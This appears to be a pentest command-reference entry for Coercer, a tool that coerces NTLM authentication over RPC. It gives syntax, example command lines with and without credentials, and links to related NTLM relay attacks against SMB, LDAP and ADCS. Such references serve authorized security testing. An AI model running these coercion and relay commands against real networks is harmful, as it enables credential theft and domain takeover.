Coercer

Coerce NTLM authentication using multiple RPC protocols

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: python3
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: no credentials
Protocols: RPC, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

python3 Coercer.py coerce -l <listener_ip> -t <target_ip>

Credential variants

The same attack using a different authentication material.

With Credentials requires password

python3 Coercer.py coerce -l <listener_ip> -t <target_ip> -u '<user>' -p '<password>' -d '<domain>'

Examples

python3 Coercer.py coerce -l 192.168.1.50 -t 192.168.1.100

python3 Coercer.py coerce -l 192.168.1.50 -t 192.168.1.100 -u 'user' -p 'password' -d 'corp.local'

Tags

coercer coercion ntlm relay rpc

NTLM Relay to SMB NTLM relay attack targeting SMB service
NTLM Relay to LDAP Relay NTLM authentication to LDAP to configure RBCD delegation
NTLM Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Certipy Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
NetExec coerce_plus Module Unified coercion module — replaces the individual…
NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…